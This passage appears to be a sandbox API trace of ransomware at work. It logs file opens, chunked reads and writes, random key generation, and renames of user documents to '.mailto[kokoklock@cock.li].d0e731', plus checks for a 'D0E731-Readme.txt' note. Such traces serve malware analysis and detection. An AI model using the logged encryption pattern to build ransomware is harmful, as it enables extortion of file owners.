"c:\\users\\fd1hvy\\documents\\crz2qjg8m7wm.docx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\crz2qjg8m7wm.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.429] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.429] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98b48) returned 1 [0170.429] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.429] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87fd8 [0170.429] wcscpy (in: _Dest=0x2f87fd8, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0170.429] wcscat (in: _Dest=0x2f87fd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0170.429] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0170.430] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87fd8) returned 1 [0170.430] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feea20) returned 1 [0170.430] RtlExitUserThread (Status=0x1) Thread: id = 1904 os_tid = 0x82c [0170.431] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.431] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.431] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x1266f7e0 | out: lpFileSize=0x1266f7e0*=348416) returned 1 [0170.431] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x550fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.431] ReadFile (in: hFile=0x528, lpBuffer=0x1266f7b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1266f7b0, lpOverlapped=0x0 | out: lpBuffer=0x1266f7b4*, lpNumberOfBytesRead=0x1266f7b0*=0x4, lpOverlapped=0x0) returned 1 [0170.433] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.433] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8abf8 [0170.433] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.433] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.433] NtQuerySystemTime (in: CurrentTime=0x1266f78c | out: CurrentTime=0x1266f78c*=132121213277408094) returned 0x0 [0170.433] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x663cb5b3 [0170.433] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x55fc9d59 [0170.433] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x7b389f2c [0170.433] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x8505c30a [0170.433] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xdfe07772 [0170.433] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x205e738c [0170.433] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x3fc904ab [0170.433] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xb570da83 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x63d642a5 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x4150c8ba [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xe42ab95 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xc7888157 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x5f4aba6d [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x648c9ed9 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x30da266 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xc74d7eb0 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x53291552 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x5d0d0b25 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xe8dc47f4 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x7d7d1523 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x8322dcb1 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xc3675326 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xb711b708 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xd42b77c7 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x29e2a26f [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x9fd2a87b [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x220f078c [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xb96fbb0a [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xb200ecf9 [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0x739deda [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xf3ce5a0c [0170.467] RtlRandom (in: Seed=0x1266f798 | out: Seed=0x1266f798) returned 0xbada6f74 [0170.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0170.483] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.483] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0170.483] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.483] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8abf8) returned 1 [0170.483] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.483] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.483] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1266f74c, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x1266f74c*=0x4096, lpOverlapped=0x0) returned 1 [0170.485] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.485] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0170.485] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0170.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0170.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8abf8 [0170.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8abf8) returned 1 [0170.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.486] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.486] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1266f74c, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x1266f74c*=0x4096, lpOverlapped=0x0) returned 1 [0170.487] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.487] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x2c672, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.487] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1266f74c, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x1266f74c*=0x4096, lpOverlapped=0x0) returned 1 [0170.488] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x2c672, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0170.488] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8abf8 [0170.488] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8abf8) returned 1 [0170.489] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.489] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8abf8 [0170.489] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0170.489] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0170.489] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0170.489] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.489] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1266f74c, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x1266f74c*=0x4096, lpOverlapped=0x0) returned 1 [0170.490] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.490] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x5106a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.490] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1266f74c, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x1266f74c*=0x4096, lpOverlapped=0x0) returned 1 [0170.491] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x5106a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.491] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.491] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.491] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0170.491] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0170.491] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.492] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0170.492] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580e8 [0170.492] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580e8) returned 1 [0170.492] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.492] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.492] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1266f74c, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x1266f74c*=0x4096, lpOverlapped=0x0) returned 1 [0170.492] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.492] WriteFile (in: hFile=0x528, lpBuffer=0x2fab690*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1266f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2fab690*, lpNumberOfBytesWritten=0x1266f7a8*=0x20, lpOverlapped=0x0) returned 1 [0170.492] WriteFile (in: hFile=0x528, lpBuffer=0x2f8abf8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1266f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f8abf8*, lpNumberOfBytesWritten=0x1266f7a8*=0x20, lpOverlapped=0x0) returned 1 [0170.493] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1266f7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0x1266f7a8*=0x20, lpOverlapped=0x0) returned 1 [0170.493] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.493] WriteFile (in: hFile=0x528, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1266f7b0, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x1266f7b0*=0x8, lpOverlapped=0x0) returned 1 [0170.493] WriteFile (in: hFile=0x528, lpBuffer=0x1266f7c8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1266f7b0, lpOverlapped=0x0 | out: lpBuffer=0x1266f7c8*, lpNumberOfBytesWritten=0x1266f7b0*=0x4, lpOverlapped=0x0) returned 1 [0170.493] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1266f7b0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1266f7b0*=0x4, lpOverlapped=0x0) returned 1 [0170.493] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1266f7b0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1266f7b0*=0x6c, lpOverlapped=0x0) returned 1 [0170.494] WriteFile (in: hFile=0x528, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1266f7b0, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x1266f7b0*=0x20, lpOverlapped=0x0) returned 1 [0170.494] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1266f7b0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1266f7b0*=0x4, lpOverlapped=0x0) returned 1 [0170.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0170.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0170.494] CloseHandle (hObject=0x528) returned 1 [0170.494] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8) returned 0x2f97058 [0170.494] wcscpy (in: _Dest=0x2f97058, _Source="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731" [0170.494] wcscat (in: _Dest=0x2f97058, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.494] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.496] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.496] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97058) returned 1 [0170.497] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Database1.accdb.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87af8 [0170.497] wcscpy (in: _Dest=0x2f87af8, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0170.497] wcscat (in: _Dest=0x2f87af8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0170.497] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0170.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87af8) returned 1 [0170.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe34a0) returned 1 [0170.497] RtlExitUserThread (Status=0x1) Thread: id = 1905 os_tid = 0xae0 [0170.498] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\dxp6bfclzmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.499] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.499] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\dxp6bfclzmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.499] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x126efc74 | out: lpFileSize=0x126efc74*=65903) returned 1 [0170.499] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1016b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.499] ReadFile (in: hFile=0x528, lpBuffer=0x126efc48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x126efc44, lpOverlapped=0x0 | out: lpBuffer=0x126efc48*, lpNumberOfBytesRead=0x126efc44*=0x4, lpOverlapped=0x0) returned 1 [0170.501] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.501] CloseHandle (hObject=0x528) returned 1 [0170.501] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e6b0) returned 1 [0170.501] RtlExitUserThread (Status=0x0) Thread: id = 1906 os_tid = 0xadc [0170.502] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\gngro.pptx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.503] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.503] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\gngro.pptx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.503] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x1276f7ec | out: lpFileSize=0x1276f7ec*=75230) returned 1 [0170.503] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x125da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.503] ReadFile (in: hFile=0x528, lpBuffer=0x1276f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1276f7bc, lpOverlapped=0x0 | out: lpBuffer=0x1276f7c0*, lpNumberOfBytesRead=0x1276f7bc*=0x4, lpOverlapped=0x0) returned 1 [0170.505] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.505] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0170.505] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0170.505] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.505] NtQuerySystemTime (in: CurrentTime=0x1276f798 | out: CurrentTime=0x1276f798*=132121213278189984) returned 0x0 [0170.505] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xfcd8f4c4 [0170.505] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x9424157e [0170.505] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xd9d42f11 [0170.505] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x4b73de77 [0170.505] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x5ad08857 [0170.505] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x3f480aa8 [0170.505] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x92281af8 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xa4225570 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x124cd840 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x908057a1 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xdfb400d2 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x9977d04f [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x70bb36e5 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x6864f73d [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x40f50db8 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x17b416a5 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x51e53963 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xd3bc052f [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xc4a285fb [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x5bd5798f [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xae7cce2e [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xaac44b23 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xf74f9e40 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x871d28fb [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xcf4517e [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x7f0156ac [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xa46229f [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xd4a57c61 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x96dc214e [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xd39057e1 [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0x6585717b [0170.506] RtlRandom (in: Seed=0x1276f7a4 | out: Seed=0x1276f7a4) returned 0xf6fe81fd [0170.518] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058048 [0170.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e18 [0170.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0170.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.522] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 